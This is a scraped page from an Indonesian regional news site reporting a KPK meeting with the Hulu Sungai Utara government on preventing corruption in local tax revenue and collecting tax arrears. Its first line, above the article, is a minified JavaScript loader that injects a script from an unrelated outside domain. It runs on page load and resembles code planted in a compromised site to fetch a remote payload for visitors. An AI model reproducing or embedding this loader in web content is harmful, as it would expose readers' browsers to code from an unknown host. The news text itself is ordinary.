(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALMANTAN.COM, AMUNTAI – Komisi Pemberantasan Korupsi (KPK) RI terus berfokus melakukan berbagai upaya pencegahan korupsi di berbagai sektor di seluruh daerah. Salah satunya pencegahan korupsi sektor pendapatan daerah dengan menggelar koordinasi dan pertemuan di Aula Dr KH Idham Chalid, Kamis (1/7/2024).
Pertemuan bersama Pemerintah Kabupaten Hulu Sungai Utara (HSU) beberapa instalasi dan wajib pajak tersebut, terkait pencegahan korupsi sektor pendapatan daerah, optimalisasi Pendapatan Asli Daerah (PAD) hingga mendorong kepatuhan wajib pajak menyelesaikan tunggakan pajak daerah.
Kepala Satuan Tugas Koordinasi Pencegahan (Kasatgas Korgah) Wilayah III KPK RI Maruli Tua Manurung menyampaikan terkait masalah perpajakan KPK meminta Pemkab HSU melakukan secara transparan dan sesuai aturan.
Baca juga: Bias Borneo ke-3 Taman Budaya Kalsel Pajang 80 Karya Pelukis Banua
Selain itu, KPK meminta Pemkab HSU secara komprehensif melakukan upaya pembenahan, penertiban, baik dari segi sistem administrasi perpajakan, retribusi daerah hingga tata kelola perizinan.
Di sisi lain, dia juga meminta kepada wajib pajak selama melakukan pembayaran selalu meminta bukti pembayaran nomor urut cetak agar menghindari penyimpangan dari oknum pemungut pajak daerah.
Baca juga: Lantik Komisaris dan Direksi PT Baramarta, Ini Harapan Saidi Mansyur
Sementara itu, Pelaksana Tugas (Plt) Badan Pengelola Pajak dan Retrebusi Daerah (BPPRD) HSU, Tony Fitriady mengharapkan, permasalahan pendapatan daerah melalui wajib pajak dapat diselesaikan nantinya.
“Untuk bulan Juni serapan dari wajib pajak) kita telah mencapai 43 persen dari target yang diterapkan terus meningkatkan, dan tentunya secara intern kita maksimalkan,” bebernya.
Baca juga: Target Rp7,7 Miliar, Kantor UPT Pajak Daerah Wilayah I Pakai Gedung Eks Puskesmas
Disamping itu, Tony mengharapkan wajib pajak dapat menunaikan kewajiban tanpa terkendala sembari berharap di akhir tahun 2024 target pendapatan daerah tercapai maksimal.
Masih kata Tony, BPPRD HSU akan lebih memaksimalkan berbagai sektor pendapatan daerah diantaranya mulai dari, hotel, restoran, pajak Bumi dan Bangunan Perkotaan Pedesaan (PBB P2) hingga sarang burung walet.
Hadir dalam kegiatan ini, Penjabat (Pj) Bupati HSU Zakly Asswan, SKPD terkait, beberapa pemilik hotel, restoran yang termasuk dalam wajib pajak.(Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.